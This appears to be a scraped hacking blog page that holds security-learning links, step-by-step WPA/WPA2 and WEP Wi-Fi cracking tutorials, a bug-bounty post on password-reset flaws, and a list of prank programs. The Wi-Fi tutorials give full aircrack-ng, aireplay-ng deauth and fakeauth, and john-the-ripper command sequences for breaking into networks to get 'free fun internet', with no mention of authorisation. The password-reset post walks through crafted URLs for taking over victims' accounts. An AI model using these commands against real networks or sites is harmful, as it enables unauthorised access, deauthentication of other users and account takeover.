<li>Exploiting CVE-2011-2461 on google.com - <a href="http://blog.mindedsecurity.com/2015/03/exploiting-cve-2011-2461-on-googlecom.html">See the link</a><br />
<li><a href="https://pentesterlab.com/exercises/">PentesterLab</a> -  - PentesterLab provides vulnerable systems that can be used to test and understand vulnerabilities. (thanks @n0x00)<br />
<li>InjectX to find XSS - <a href="https://forum.bugcrowd.com/t/tutorial-injectx-to-find-xss/790">See the link</a> thanks @1N3<br />
<br />
Of Course there exist bugs in mobile application too so if you are interested on that you will definitely find the link more likable <br />
<br />
<b>Android Security learning <br />
</b><br />
<li>Debugging Java Applications Using JDB - <a href="http://www.androidpentesting.com/2014/12/debugging-java-applications-using-jdb.html">See the link to learn</a><br />
<li>Learn android security testing - <a href="http://resources.infosecinstitute.com/author/srinivas/">From Srinivas</a><br />
<br />
<b>iOS application testing <br />
</b><br />
<li>Setting Up a Mobile Pentesting Platform - <a href="http://resources.infosecinstitute.com/ios-application-security-part-1-setting-up-a-mobile-pentesting-platform/">Infosec Link</a><br />
<li>iOS Application Security -<a href="http://highaltitudehacks.com/">By Prateek Gianchandani</a><br />
<br />
For Advance security researchers you can follow the<a href="https://www.vulnhub.com/"> VULNHUB </a> It s grate source of learning.<br />
<br />
Another important website for learning is <b>infosecinstitute</b> that is great place for all type of learner.<br />
<a href="http://resources.infosecinstitute.com/articles/">Security Articles</a><br />
<a href="http://resources.infosecinstitute.com/ebooks/">Security ebook</a><br />
<a href="http://resources.infosecinstitute.com/labs/">Lab For practice </a><br />
<br />
Please do comment if you have more useful link and thanks have a nice day keep learning :)

Learning Security Testing : For Beginners

Hi friends,its been long time since i have't posted some thing so here is some thing that will help you for sure.There are many people o...

Cracking WPA/WPA2 Password Protected WiFi Network

Hi all today we are going to discuss how we can crack wpa/wpa2 password protected wifi network and this time i am going to use a dictionary to do it on my next tutorial i will try to show you how even we can crack without dictionary .<br />
so lets talk about wpa/wpa2 protected network as in our previous tutorial(<a href="http://www.darksite.co.in/2014/05/cracking-wep-protected-wifi-network-in.html"><b>Cracking WEP easy way</b></a>) you must have seen we were able to crack wep network and utilizing the same technique you can crack any wep network so people says WEP is very weak and yes its weak so to over come that another wifi encryption is introduced which is known as Wi-Fi Protected Access (WPA) and Wi-Fi Protected Access II (WPA2) now WPA is said to be more advance than wep and safer how ever as i said we can still hack it how to do it follow the below tutorial step wise.<br />
<br />
At first check your back track machine is having its wifi drive ready to know more you can see our previous tutorial.<br />
type<b> ifconfig</b> on terminal on backtrack or kali. <br />
<font color=blue><h3>same procedure applied for cracking wpa2 protected wifi network</h3></font><br />
now start youe wlan0 interface on monitor mode which can be easily done with <b>airmon-ng start wlan0</b> this command <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7_fSeTl2zZB2aOiiblfPlORHL2NVrWXbtWd1lTqzQaLZtGegENFeIp07rK0azEZW_t2mwDdElQ9RTgAh-1Y1yVfutAvdqKzMKneE2dl6IGrbI5DxIZBzeYOpfCCu82LgV-VneclWaSdon/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7_fSeTl2zZB2aOiiblfPlORHL2NVrWXbtWd1lTqzQaLZtGegENFeIp07rK0azEZW_t2mwDdElQ9RTgAh-1Y1yVfutAvdqKzMKneE2dl6IGrbI5DxIZBzeYOpfCCu82LgV-VneclWaSdon/s520/1.png" /></a></div><br />
now to see the wifi data packets those are available around you using monitor interface (<b>mon0</b>) .simply type <b>airodump-ng mon0</b>.and it will display the packet available around you.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipcHxOh4Q8l5kbuXwGnG11rL3kywAr9FSkpa7FfVR5g6EY-ZBJIqqmZ8g06fQWGmF-IXnmxlTFoMnDtxYxBNcHEfoGOkpe3hTwy9VC9nk1aDFqFI-kldUiIiDcRD2S6EFRuk4Bolpkw9Ud/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipcHxOh4Q8l5kbuXwGnG11rL3kywAr9FSkpa7FfVR5g6EY-ZBJIqqmZ8g06fQWGmF-IXnmxlTFoMnDtxYxBNcHEfoGOkpe3hTwy9VC9nk1aDFqFI-kldUiIiDcRD2S6EFRuk4Bolpkw9Ud/s520/2.png" width="520" /></a></div><br />
now as you can see here is a wpa protected network available around us known as <b>hackers</b>  on  <b>channel 11</b>.now lets hack the hackers .bring your mon0 inteface mon0 to channel 11 which can be easily done with <b>iwconfig mon0 channel 11</b><br />
now write the data packet into a file which we will utilize for cracking later .<br />
command is again simple old one <b>airodump-ng channel 11</b>(channel number)<b> mon0</b>(interface) <b>--write crackingwpa</b><b> --bssid </b>(device bssid)<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZR_8mpMnFCX1lJfomWpohhlRxVQvA9VUsseE3eCNaZp0n32IvlC6EAJYOJjG70K9i21-Yudb5OG2UXEWD47DE4e1ZBYRojcQQ_y94SXWNYUErdF66gevJXn3iz1bDrhlypvHpQz4WU1VQ/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZR_8mpMnFCX1lJfomWpohhlRxVQvA9VUsseE3eCNaZp0n32IvlC6EAJYOJjG70K9i21-Yudb5OG2UXEWD47DE4e1ZBYRojcQQ_y94SXWNYUErdF66gevJXn3iz1bDrhlypvHpQz4WU1VQ/s520/3.png" width="570" /></a></div><br />
now to be able to crack the wpa we need a handshake data packet which can be generated by sending out deauth packet from your interface .now you can broadcast a deauth packet or you can disconnect a specific client and get the hand shake done.<br />
so we will be broadcasting the deauth packet and then stop it in-order to get the handshake done and capture the handshake,<br />
command to do that is <b>aireplay-ng --deauth 0 -e hackers mon0</b>after sending some deauth stop and re allow to get the handshake,<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5zOYwvoHiixgdoarB1ukIW-v-JDMHYiZXRt2Q4UmG5yLWsCieTU_XotSW9WJoo6r7HqJZrlLp95FKMrEMapIww03Q3IvaeuDE9L2gRb-V8rI7JmTT4d1AOID1cdVgPVXP2YaIOamy_ImY/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5zOYwvoHiixgdoarB1ukIW-v-JDMHYiZXRt2Q4UmG5yLWsCieTU_XotSW9WJoo6r7HqJZrlLp95FKMrEMapIww03Q3IvaeuDE9L2gRb-V8rI7JmTT4d1AOID1cdVgPVXP2YaIOamy_ImY/s520/4.png" width="520" /></a></div>now as soon as you stop broadcasting the deauth packet you will get a handshake done :) which will lead to make cracking possible.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRQL24s3XcHsprjun0KOc2Ltvoz81PEHVQyFELpP_ccvDK8oOtmQ2cGnDaX0IhlpY-h5a_-RdMXJelnU1vMF0rqaUkg6rqH36BiLQ7w0ccgWbLNXjcxFY2CaqzL3pRAmNp7PKA_Exn-SKb/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRQL24s3XcHsprjun0KOc2Ltvoz81PEHVQyFELpP_ccvDK8oOtmQ2cGnDaX0IhlpY-h5a_-RdMXJelnU1vMF0rqaUkg6rqH36BiLQ7w0ccgWbLNXjcxFY2CaqzL3pRAmNp7PKA_Exn-SKb/s720/5.png" width="520" /></a></div>so finally after getting the hand shake all you have to do is use aircrack to crack the password from pasword dictionary list.<br />
now its all depends on number of password possible list for your easy shake i am giving a password list which contain 10K very possible password list.<a href="https://raw.githubusercontent.com/discourse/discourse/master/lib/common_passwords/10k-common-passwords.txt">download best 10K password </a> save this as password.lst and save indie root folder of aircrack then simple run this command <br />
<br />
aircrack-ng -w password.lst crackingwpa-01.cap<br />
and yes you will be successfully able crack the password now .<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitTIV_p0OgazSDXhuqTYIi1-eXrwv9rr86GeAZERyyIyERIKA6BRQKL6wseqb_lfoeHYMaejOb75Mp1mUAPgTsBwamWsyX18BmpS77xN8Wzy_9tFroqHyrE_6gkiC520VoUeCMjbDNBxnt/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img height="350" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitTIV_p0OgazSDXhuqTYIi1-eXrwv9rr86GeAZERyyIyERIKA6BRQKL6wseqb_lfoeHYMaejOb75Mp1mUAPgTsBwamWsyX18BmpS77xN8Wzy_9tFroqHyrE_6gkiC520VoUeCMjbDNBxnt/s620/6.png" width="520" /></a></div>yuppi you can connect to that wifi now and password is 12344321 :).<br />
Now if the password contains (A-Z,a-z,0-9,*#$% symbol in other word complex enough )then you need to have strong password list .<br />
also you can do the cracking using john the ripper which might take take 1-2 day or even more but you have to be more patient there.go to terminal and type this to crack using john ripper <br />
<b>./john –stdout –incremental:all | aircrack-ng -b 00:11:22:33:44:55 -w – /root/crackingwpa-01.cap</b><br />
<br />
next time i will posting about how we can carck wpa/wap2 without using dictionary thanks keep visiting :).

Cracking WPA/WPA2 Password Protected WiFi Network

Hi all today we are going to discuss how we can crack wpa/wpa2 password protected wifi network and this time i am going to use a dictionary ...

Cracking WEP Protected WIFI Network In Easy Way

Hi all After a long day back to another exciting post so this time we are going to learn how to crack wep protected wifi network .<br />
WEP Protected wifi network are not very strong in nature it can be easily be broken by any guy who has good idea on wifi things,so lets go directly into the tutorial it self i am not going to make you boar with old theory.<br />
<br />
first of all we need a back track machine you can easily make it live boot using pendrive,DVD after entering into the backtrack /kali terminal look for your network card status if it is up and running you can easily know by typing <b>ifconfig </b>  on terminal.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTpSHEVAlPsSboANqiLK3PP6Rh00rXXVKjcRlQVpeeCMk0kvZjnbiixhHMhxG1phTDNlN_CmOXtCkBTURxtL2hh_7KmshKCI9wUo2a444_6CSm6MJsUnOAfjrJ881wRq_utMnHuXw7bpRd/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTpSHEVAlPsSboANqiLK3PP6Rh00rXXVKjcRlQVpeeCMk0kvZjnbiixhHMhxG1phTDNlN_CmOXtCkBTURxtL2hh_7KmshKCI9wUo2a444_6CSm6MJsUnOAfjrJ881wRq_utMnHuXw7bpRd/s650/1.png" width="550" /></a></div>Now make you laptop device wireless n/w that is wlan0 in monitor mode (this mode enable you to see/capture the data packet that are floating on air )<br />
Command to do that is : <b>airmon-ng start wlan0</b> this will create mon0 interface for monitor mode <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzbwPXPoIajNJsE9HQ4u4XlLfTdeq6gRcqPSbgcb3bdcaovlEnBJfpX5TTkQ6y3o08sdtbtd91D38lvOEt2rXIiGSiSFjUFoaORHKZCFDIKU7pccTNcR-YysgNhfWKt02MtKwhxqtHA8LV/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzbwPXPoIajNJsE9HQ4u4XlLfTdeq6gRcqPSbgcb3bdcaovlEnBJfpX5TTkQ6y3o08sdtbtd91D38lvOEt2rXIiGSiSFjUFoaORHKZCFDIKU7pccTNcR-YysgNhfWKt02MtKwhxqtHA8LV/s520/2.png" width="550" /></a></div>now to see the data packet those are available on air using mon0 interface  the command is <br />
<b>airodump-ng mon0</b> this will give you all packets those are available around you .<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhomJHTbLXZHkr6QUywOaoeAtIxCcTju9dLdDbs0qVZMMRGgQt4ONytDM95FZ7JLRck6AQhi5NU0O2hvkI4IZYrWVfNHSgHPZI7ahWhWKR20a-jh4TVlUw1Lp3I5h_lB23-mV9KsqIw5e9C/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhomJHTbLXZHkr6QUywOaoeAtIxCcTju9dLdDbs0qVZMMRGgQt4ONytDM95FZ7JLRck6AQhi5NU0O2hvkI4IZYrWVfNHSgHPZI7ahWhWKR20a-jh4TVlUw1Lp3I5h_lB23-mV9KsqIw5e9C/s420/3.png" width="550" /></a></div>So as we can see MGMNT is wep on channel 11 protected and we want to hack it/ break the key so lets do it.<br />
you can set you mon0 on that specific channel so to do that you can use these command <br />
<b>iwconfig mon0 channel 11</b> (this is needed as our wifi interface can do better communication over same channel )<br />
next write all the packet into a file which we will utilize for cracking <br />
<b>airodump-ng --channel</b> (channel numbe here its)<b>11</b> (interface)<b>mon0</b> <b>--write</b> name(<b>anyname</b>) <b>--bssid</b> bssid(Access point you want to hack bssid).<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf6g41cvnJzlT8PNub3GmaJmvY_0FkHS4W5DJGcBVbK-WTVcRBDq1Rz8AWvUIjRDGLJokgW2un_czktaZqiP_CPI6Q3Cwo60uvUGI1GrdvVMVKENPN1iyGa0nm93O9fG3CbcYSgTb1mubp/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf6g41cvnJzlT8PNub3GmaJmvY_0FkHS4W5DJGcBVbK-WTVcRBDq1Rz8AWvUIjRDGLJokgW2un_czktaZqiP_CPI6Q3Cwo60uvUGI1GrdvVMVKENPN1iyGa0nm93O9fG3CbcYSgTb1mubp/s420/4.png" width="550" /></a></div>After that is done you have to populate data packet from that Access point which can be done using <b>arpreplay </b><br />
command will be <b>aireplay-ng --arpreplay -e MGMNT  mon0</b><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivuT17VFIDAhIE66t1x3U7owRKmi5RLTROExE8Yhx5M1YRQG5xt4gXxtlyX4GASx1jvwVWWEEQNOfDRiF2xDqkCLQsqccA6UorV1rt8rfYiqqiuSDAWThh1AXRLf1XoHrX84IXNu6DfRxk/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivuT17VFIDAhIE66t1x3U7owRKmi5RLTROExE8Yhx5M1YRQG5xt4gXxtlyX4GASx1jvwVWWEEQNOfDRiF2xDqkCLQsqccA6UorV1rt8rfYiqqiuSDAWThh1AXRLf1XoHrX84IXNu6DfRxk/s420/6.png" width="550" /></a></div>now next point how do we get arp pakcet to do the replay action that can easily be done using an deauth packet or showing a fake connection (if no devices are connected to that access point)<br />
Deauth (open a new terminal type ) <b>arpreplay-ng --deauth 0 -e MGMNT mon0</b><br />
other wise you can show fake auth (if no devices are connected to access point ) <br />
<b>arpreplay-ng --fakeauth 0 -e MGMNT mon0 </b><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwoBy3xkLHeVZ2DIzkk934c_gfElM3bD0EBUEjLgSyaRJDre77_7Vco0mqzA8e8Ee5ataxL0ZPutfgaYsHtNvBMA07JfYHp3GXfbwhBuXUKPjXXpHF3gYKo5QaiTNZZw_IAbVDBH850cXi/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwoBy3xkLHeVZ2DIzkk934c_gfElM3bD0EBUEjLgSyaRJDre77_7Vco0mqzA8e8Ee5ataxL0ZPutfgaYsHtNvBMA07JfYHp3GXfbwhBuXUKPjXXpHF3gYKo5QaiTNZZw_IAbVDBH850cXi/s420/5.png" width="550" /></a></div>once any client connect to access point MGMNT your arp replay will start showing you action by pumping numerous data packet .<br />
so finally after collecting more that 22K data packet that is enough to crack any wep encryption (coz of weak IV if you wann know technical details you can as me mail or chat) ..using <b>aircrack</b> again the command is simple <br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXYNsXY5-oblHrAHf2757AFaCLtuduxDQ6BIia3ypqvlP_rPFFFntsao5xjPMB9McXa-LQYFRW4R7BurTLxVN2tN68nm3CurYme6P6J5sZCbJMzxNTE2Utk2-xLRFGLxC6rYT5wvdDW-ka/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXYNsXY5-oblHrAHf2757AFaCLtuduxDQ6BIia3ypqvlP_rPFFFntsao5xjPMB9McXa-LQYFRW4R7BurTLxVN2tN68nm3CurYme6P6J5sZCbJMzxNTE2Utk2-xLRFGLxC6rYT5wvdDW-ka/s420/7.png" width="550" /></a></div><b>aircrack-ng filename-01.cap</b><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO7T6_71tWLuSGUH2g8Y5KA8eVsXNiDee4IilrI4NJX0xoAz9BfPNvO_PC31xxiNXS8X1GEwJUweY9Y2uSzY515KVSxau0SqsrSvnaUZVzi-LryhuJZdIC_7bEuZvA5_OpJXK5uo5Zi9hL/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO7T6_71tWLuSGUH2g8Y5KA8eVsXNiDee4IilrI4NJX0xoAz9BfPNvO_PC31xxiNXS8X1GEwJUweY9Y2uSzY515KVSxau0SqsrSvnaUZVzi-LryhuJZdIC_7bEuZvA5_OpJXK5uo5Zi9hL/s620/8.png" width="550" /></a></div>that will display your cracked key which you can use later to connect to that access point and then have free fun internet :).<br />
do comments your query if you stuck any where we are happy to help you  and thanks

Cracking WEP Protected WIFI Network In Easy Way

Hi all After a long day back to another exciting post so this time we are going to learn how to crack wep protected wifi network . WEP Prot...

Password Reset Vulnerability For Bug Hunters

Hi All after a long time i decided to post something on bug bounty as many people are getting much interested into it .<br />
so we are going to make a small discuss on how this Password Reset vulnerability may lead you to earn $$$ :) .All these methods are founded on many sites also good tricks that you can try during your bug bounty .<br />
<div class="center"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJlFar3ft1Pt_aIbsGD3Q9ddSdsWmsp6qhmkiqX_kynBh9d8Pa_wNhf5crw57dRzRs7f6bkG6OdzEzZpE8S5J9iluIqTxLwUCIuEbOBa1mA4FlOGXYcSqFiTxxreNLb3AlAEJpGoNKcw4j/s1600/Bug-bounty-vulnerability-disclosure.jpg"><br />
<img height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJlFar3ft1Pt_aIbsGD3Q9ddSdsWmsp6qhmkiqX_kynBh9d8Pa_wNhf5crw57dRzRs7f6bkG6OdzEzZpE8S5J9iluIqTxLwUCIuEbOBa1mA4FlOGXYcSqFiTxxreNLb3AlAEJpGoNKcw4j/s900/Bug-bounty-vulnerability-disclosure.jpg" width="420" /><br />
</a><br />
<span>Password Reset Vulnerability For Bug Hunters</span><br />
</div>Most of the site where there is a sign-in button then there must be an option for <b>forgot password</b> as of course human can forgot password :P. <br />
<br />
as you click on forgot password button you will be asked for registered email id to which a link will be sent for password reset.<br />
here you can try the normal XSS,CSRF...etc attack so i won't be discussing that i will talk about something different .<br />
<br />
so when you submit the request (Email id + cpacha may be) then you will get a mail containing a url like click here to reset/change password.<br />
<br />
there are multiple kinda of url you may get i will discuss few of them.<br />
<br />
Case 1: Vulnerability on url with a token email id or username<br />
<br />
https://site.com/members/resetpassword/username=xyz&emailid=abc@def@pqr.com&token=xsdf.234sdfdssd323<br />
<br />
So here you can see the user name and email id are in the url itself in some case you will get username/email id both encrypted.<br />
there you can try get the encoding (mostly it will be either base 64 or md5 ).then you can try replace the email id and username with your desired email id/username (encrypted/ un-encrypted )if that work then congo!! you have your bounty on your pocket as some time server accept the dynamic created token and check for the registed email id-user name at database end and says enter new password which ended up giving you $$$ .<br />
<br />
but some time your luck not that good and design of application is strong enough to check for dynamic token with mapped user.<br />
<br />
Case 2: Vulnerability in reference <br />
<br />
https://site.com/members/resetpassword/username=xyz&emailid=abc@def@pqr.com&token=xsdf.234sdfdssd323<br />
<br />
This is quite interesting when ever you clicked on link like this and intercept the request on your browser (burpsuite or any proxy tool) you will see some thing like this <br />
<br />
GET /xyz HTTP/1.1<br />
Host: abcd.com<br />
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language: pl,en-us;q=0.7,en;q=0.3<br />
Accept-Encoding: gzip, deflate<br />
Referer: https://site.com/users/password/edit?reset_password_token=<b>HERE_IS_THE_VALUE_OF_RESET_PASSWORD_TOKEN</b><br />
Connection: keep-alive<br />
<br />
Then you can say report this as a security issue as an minimum information disclosure.<br />
<br />
n few cases you will find <br />
<br />
Referer: https://site.com/users/password/edit?mail=admin@abc.com&password=token&action=reset<br />
<br />
that some email id or admin or superuser name/ email id there also you can say it to security issue and get $$$ on your pocket.<br />
<br />
Case 3: Poor Encryption Breaking (Thanks To Ajay Sing Negi For sharing this)<br />
<br />
If you get a link  like this<br />
<br />
https://site.com/members/setup-password/14aaef7bb41ed6e4b46d09298ec1bfc6a483623d/ <br />
<br />
After clicking on this type of link you will get into a page where email filed with attacker@gmail.com email id and the 2 blank field to change the password.<br />
<br />
Now while submitting request you can easily change the email id to victim mail id (can use proxy tool like burp suite )and change the password so if the validation is not there and if you have luck then you will end up resetting any victim password on that website and get a good bounty out of it.<br />
<br />
Case 4: Analyzing password Reset Vulnerability <br />
<br />
(again a good finding by Ajay singh negi)<br />
<br />
So what if you get a link like this.<br />
<br />
Attackers Email ID: attackeremailid@gmail.com and his password reset link:<br />
<br />
http://testsite.com/reset-password/74o4s384549484c4k4v506t4d5a3e5n5k444j4g5j4o4c553l454h464m474/74q55426l4q5u5m5c4s5l5m5n5t2102fadb4bd021805624f06ea4c8e4d38<br />
<br />
Here as you can guess there are some md5 encryption is there. on quick analyzing you can see 1st part in the password reset Url before '/' is password reset token and the second part is the md5 hash of the users email id in which the 1st 28 values (<b>74q55426l4q5u5m5c4s5l5m5n5t2</b>) are same for each users email ids and the remaining last values were different for each users email id as they were the users email id md5 hash value. So, the attacker can decrypt the email hash values easily using the online available md5 encrypters and decrypters like: http://md5decryption.com also sometimes some websites use base 64 encoding(or other encodings) which can also be easily decrypted using the online available base64 encoders and decoders like: http://ostermiller.org/calc/encode.html.<br />
<br />
<br />
Attackers Email ID: attackeremailid@gmail.com md5 hash value:<br />
102fadb4bd021805624f06ea4c8e4d38<br />
<br />
<br />
Victims Email ID: victimemailid@gmail.com md5 hash value:<br />
05ebb8fb6ec39f50d33e19cd5719084d<br />
<br />
<br />
1st 28 values which is same for each users email id hash:<br />
74q55426l4q5u5m5c4s5l5m5n5t2<br />
<br />
<br />
Crafted Url to Reset the password of the Victims Email ID(i.e account)victimemailid@gmail.com:<br />
<br />
http://testsite.com/reset-<br />
password/74o4s384549484c4k4v506t4d5a3e5n5k444j4g5j4o4c553l454h464m474/74q55426l4q5u5m5c4s5l5m5n5t205ebb8fb6ec39f50d33e19cd5719084d<br />
<br />
So in this way the attacker can Takeover on any users account.So if you find these kind of issue then you have money $$$ on your bank.<br />
<br />
So these are some common wayz of detecting Vulnerability that is typically found on password reset function.<br />
Also DO look out for click-jacking,CSRf,URL Redirection after password reset...etc IN password reset (even look out for log in / log out / automatically logged in after clicking the password recovery link also have a good impact ) to built the exploit scenario better and get more $$ Hope you like this please do leave a comment if you want some post like this which will help you in finding Bug-Bounty.

Password Reset Vulnerability For Bug Hunters

Hi All after a long time i decided to post something on bug bounty as many people are getting much interested into it . so we are going to ...

Computer Fake Viruses to Play Pranks On April Fool Day On Friends Pc

Hi all in India we do play lots of pranks with our friends on 1st that is popularly known as April fool day :D.<br />
Also its Special In Odisha As people celebrate this day as <b>"<b>Utkala Divas</b>" (ଓଡ଼ିଶା ଦିବସ or Odisha Day</b>).<br />
So Here are some top application that you can play pranks on friends Pc specially i tried with girls pc they will scare the hell out of you :D.<br />
<br />
<a class="center" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqeEp0Ao15VTEdk6rQnjBejL4_UUycmjeunDmohFymDiKOkDlVsU0cSQKKaV1HaWeIgvtezjaplwEgg4aixg60n9xx234trIEdqH8Lep6Plr7yb96-6GkQWex22YHsFcviOFbYdoDeiyAc/s320/troian-virus-worm.jpg"><br />
<img alt="Funny Virus on April fool day" height="299" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqeEp0Ao15VTEdk6rQnjBejL4_UUycmjeunDmohFymDiKOkDlVsU0cSQKKaV1HaWeIgvtezjaplwEgg4aixg60n9xx234trIEdqH8Lep6Plr7yb96-6GkQWex22YHsFcviOFbYdoDeiyAc/s720/troian-virus-worm.jpg" width="670" /><br />
</a><br />
<br />
1. Add / Remove - Add/Remove is a cool prank that makes it appear that all of your software on your computer is being removed using the Windows Add/Remove Program feature. This is so real, that it will shock the most of the experienced user.<br />
<a href="http://www.rjlpranks.com/download.cfm?d=2">Download here </a><br />
2.2. Avoid – It makes your Windows Start button avoid any mouse clicks. Just launch this program exe and watch as your Start button jumps away from your mouse cursor whenever you try to click on it.<br />
<a href="http://www.rjlpranks.com/pranks/avoid/">Download Here</a><br />
3. Bomb – It will run the program you want to run, then after a delay for 5 second, it will display the BOMB message. This will simulate that the program you just ran is bombed.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/bomb/download.shtml">Download Bomb</a><br />
4. Click Me – It will display a button on which you can never click with your mouse.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/clickme/download.shtml">Download Click Me</a><br />
5. ClickStart – ClickStart is one of the cool Windows prank program which hides itself in the background and after every 45 seconds it will click on the start button causing the start menu to open. Users will be surprised when their start menu pops up, they will have no idea what is going on.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/clickstart/download.shtml">Download ClickStart</a><br />
6. Clippy – It is a simulated office assistant that, when ran, will hide in the background for 1 minute then popup in the lower right hand corner of the screen and say something useless.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/clippy/download.shtml">Download Clippy</a><br />
7. Copy Cursor – It replicates the current Windows mouse cursor over-and-over again on the screen. This is VERY annoying which makes it a great prank!<br />
<a href="http://www.rjlsoftware.com/software/entertainment/copycursor/download.shtml">Download Copy Cursor</a><br />
8. Crazy Num Caps Scroll – It will toggle the Num Lock, Caps Lock, or Scroll Lock keys at user defined intervals which makes the working of any user very annoying experience.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/crazy_ncs/download.shtml">Download Crazy Num Caps Scroll</a><br />
9. Create Message Pro – It allows you to configure and create stand alone .EXE files for distribution across your network or the Internet. It adds the ability to specify the message text, buttons to appear on the message, and the type of message icon that appears.<br />
<a href="http://www.rjlsoftware.com/software/utility/createmsg/download.shtml">Download Create Message Pro</a><br />
10. Cursor Fun – It will change the current mouse cursor to a user specified cursor. It allows you to choose which Windows cursor to change, what type of cursor to change it to.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/cursorfun/download.shtml">Download Cursor Fun</a><br />
11. Dirty Mouse – It is a windows prank that simulates the mouse ball is dirty. How many times have you tried to move your mouse and it does not move.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/dirty/download.shtml">Download Dirty Mouse</a><br />
12. DownHoax – This is a great prank makes it appear as though an “unwanted” file is being downloaded from the Internet. DownHoax randomly chooses a site from its internal database of “undesirables” and proceeds to simulate downloading an equally distasteful file.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/downhoax/download.shtml">Download DownHoax</a><br />
13. Email Fun – When executed, Email Fun displays a fake email screen complete with the To:, From:, Subject: and message contents. Then it immediately pretends to automatically type an email to everyone that is in your address book.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/email/download.shtml">Download Email Fun</a><br />
14. Fake Delete – Fake Delete simulates the deletion of all files/folders in the Windows directory or whichever directory is passed via the command line. Fake Delete uses the standard Windows delete dialog so it appears very realistic, and it cannot be disabled or stopped.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/fakedel/download.shtml">Download Fake Delete</a><br />
15. Fake Format – Fake Format mirrors the Windows “Format” functionality. Once the program is started, no matter which buttons are chosen, the program simulates formatting the specified drive.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/fakefmt/download.shtml">Download Fake Format</a><br />
16. Fake Shutdown – This prank program simulates what would occur when a user chooses to shut down Windows. Each screen was cautiously created to mirror the look of the actual Windows shutdown sequence.<br />
<a href="http://www.rjlsoftware.com/software/entertainment/fakeshutdown/download.shtml">Download Fake Shutdown</a><br />
17. Fake Start Menu – This program will replace the existing Windows 95 Start Menu (task bar). It will respond to nothing from the user.<br />
